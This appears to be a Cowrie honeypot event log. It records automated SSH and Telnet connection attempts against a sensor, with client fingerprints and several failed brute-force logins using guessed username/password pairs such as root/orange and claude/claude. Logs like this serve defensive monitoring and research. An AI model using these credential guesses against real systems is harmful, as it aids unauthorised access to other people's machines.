{"eventid":"cowrie.session.closed","duration":48.90710687637329,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:17.694324Z","src_ip":"186.195.16.41","session":"a839bfb721f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.582237005233765,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:21.993145Z","src_ip":"192.119.13.58","session":"e15eae89f742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.25177335739136,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:23.837505Z","src_ip":"192.119.13.58","session":"ca5a240d4428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41028,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e5edd06314a","protocol":"telnet","message":"New connection: 192.119.13.58:41028 (10.17.0.5:23) [session: 6e5edd06314a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:27.752569Z"}
{"eventid":"cowrie.session.closed","duration":37.810755014419556,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:36.096317Z","src_ip":"192.119.13.58","session":"4d74d54b4eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.717130184173584,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:36.432816Z","src_ip":"192.119.13.58","session":"b22364eb1ed4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33404,"dst_ip":"10.17.0.5","dst_port":23,"session":"287d5edc76ba","protocol":"telnet","message":"New connection: 192.119.13.58:33404 (10.17.0.5:23) [session: 287d5edc76ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:42.023684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47954,"dst_ip":"10.17.0.5","dst_port":23,"session":"747dceb1d49b","protocol":"telnet","message":"New connection: 192.119.13.58:47954 (10.17.0.5:23) [session: 747dceb1d49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:46.161545Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":33770,"dst_ip":"159.203.135.109","dst_port":22,"session":"87d95d465d41","protocol":"ssh","message":"New connection: 170.106.188.200:33770 (159.203.135.109:22) [session: 87d95d465d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:47.777306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:47.785440Z","src_ip":"170.106.188.200","session":"87d95d465d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:47.854833Z","src_ip":"170.106.188.200","session":"87d95d465d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:48.158645Z","src_ip":"170.106.188.200","session":"87d95d465d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:49.232235Z","src_ip":"170.106.188.200","session":"87d95d465d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.99155330657959,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:49.955272Z","src_ip":"192.119.13.58","session":"b6a6bbe5c63c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.102482080459595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:50.903389Z","src_ip":"192.119.13.58","session":"08bfdaf46dfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dbbb4361753","protocol":"telnet","message":"New connection: 192.119.13.58:50442 (10.17.0.5:23) [session: 2dbbb4361753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:55.132212Z"}
{"eventid":"cowrie.session.closed","duration":42.23490905761719,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:55.247344Z","src_ip":"192.119.13.58","session":"cd89e902f83e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59288,"dst_ip":"10.17.0.5","dst_port":23,"session":"68f25f45f346","protocol":"telnet","message":"New connection: 192.119.13.58:59288 (10.17.0.5:23) [session: 68f25f45f346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:05:57.499697Z"}
{"eventid":"cowrie.session.closed","duration":38.72846341133118,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:06.480923Z","src_ip":"192.119.13.58","session":"6e5edd06314a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":44608,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9e5c9dda63e","protocol":"ssh","message":"New connection: 186.4.240.226:44608 (159.203.135.109:22) [session: e9e5c9dda63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:10.502142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:10.508503Z","src_ip":"186.4.240.226","session":"e9e5c9dda63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:10.599010Z","src_ip":"186.4.240.226","session":"e9e5c9dda63e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"enter","message":"login attempt [root/enter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:10.996011Z","src_ip":"186.4.240.226","session":"e9e5c9dda63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:12.094448Z","src_ip":"186.4.240.226","session":"e9e5c9dda63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45368,"dst_ip":"10.17.0.5","dst_port":23,"session":"1500c61574bb","protocol":"telnet","message":"New connection: 192.119.13.58:45368 (10.17.0.5:23) [session: 1500c61574bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:16.077750Z"}
{"eventid":"cowrie.session.closed","duration":38.74911952018738,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:20.772695Z","src_ip":"192.119.13.58","session":"287d5edc76ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":60346,"dst_ip":"159.203.135.109","dst_port":22,"session":"6988830c990b","protocol":"ssh","message":"New connection: 147.45.197.250:60346 (159.203.135.109:22) [session: 6988830c990b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:31.921993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:31.926977Z","src_ip":"147.45.197.250","session":"6988830c990b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:32.017888Z","src_ip":"147.45.197.250","session":"6988830c990b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jktymrf","message":"login attempt [root/jktymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:32.291188Z","src_ip":"147.45.197.250","session":"6988830c990b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.727317810058594,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:32.888769Z","src_ip":"192.119.13.58","session":"747dceb1d49b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:33.383641Z","src_ip":"147.45.197.250","session":"6988830c990b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58798,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8a69dbc8282","protocol":"telnet","message":"New connection: 192.119.13.58:58798 (10.17.0.5:23) [session: e8a69dbc8282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:34.631551Z"}
{"eventid":"cowrie.session.closed","duration":41.00866460800171,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:38.508205Z","src_ip":"192.119.13.58","session":"68f25f45f346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.76453757286072,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:38.896605Z","src_ip":"192.119.13.58","session":"2dbbb4361753","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.101.216.219","src_port":59154,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee34ffe3e60d","protocol":"ssh","message":"New connection: 103.101.216.219:59154 (159.203.135.109:22) [session: ee34ffe3e60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:39.392651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:39.397606Z","src_ip":"103.101.216.219","session":"ee34ffe3e60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:39.637274Z","src_ip":"103.101.216.219","session":"ee34ffe3e60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orange","message":"login attempt [root/orange] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:40.627304Z","src_ip":"103.101.216.219","session":"ee34ffe3e60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:41.869842Z","src_ip":"103.101.216.219","session":"ee34ffe3e60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50088,"dst_ip":"10.17.0.5","dst_port":23,"session":"54392d21e0a8","protocol":"telnet","message":"New connection: 192.119.13.58:50088 (10.17.0.5:23) [session: 54392d21e0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:46.815852Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46800,"dst_ip":"159.203.135.109","dst_port":22,"session":"9aa16086ab43","protocol":"ssh","message":"New connection: 103.122.221.179:46800 (159.203.135.109:22) [session: 9aa16086ab43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:47.874371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:47.889108Z","src_ip":"103.122.221.179","session":"9aa16086ab43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.00754261016846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:48.085140Z","src_ip":"192.119.13.58","session":"1500c61574bb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:48.146537Z","src_ip":"103.122.221.179","session":"9aa16086ab43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdopi123","message":"login attempt [root/asdopi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:48.918782Z","src_ip":"103.122.221.179","session":"9aa16086ab43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:50.178112Z","src_ip":"103.122.221.179","session":"9aa16086ab43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":45468,"dst_ip":"159.203.135.109","dst_port":22,"session":"dccad42202b9","protocol":"ssh","message":"New connection: 170.106.188.200:45468 (159.203.135.109:22) [session: dccad42202b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:51.660570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:51.665661Z","src_ip":"170.106.188.200","session":"dccad42202b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:51.734039Z","src_ip":"170.106.188.200","session":"dccad42202b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaikne","message":"login attempt [root/jaikne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:52.039269Z","src_ip":"170.106.188.200","session":"dccad42202b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:06:53.111243Z","src_ip":"170.106.188.200","session":"dccad42202b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38786,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d52e9da85a","protocol":"telnet","message":"New connection: 192.119.13.58:38786 (10.17.0.5:23) [session: 40d52e9da85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:05.044397Z"}
{"eventid":"cowrie.session.closed","duration":36.351746797561646,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:10.983188Z","src_ip":"192.119.13.58","session":"e8a69dbc8282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42030,"dst_ip":"10.17.0.5","dst_port":23,"session":"2321759451f6","protocol":"telnet","message":"New connection: 192.119.13.58:42030 (10.17.0.5:23) [session: 2321759451f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:07:13.100124Z"}
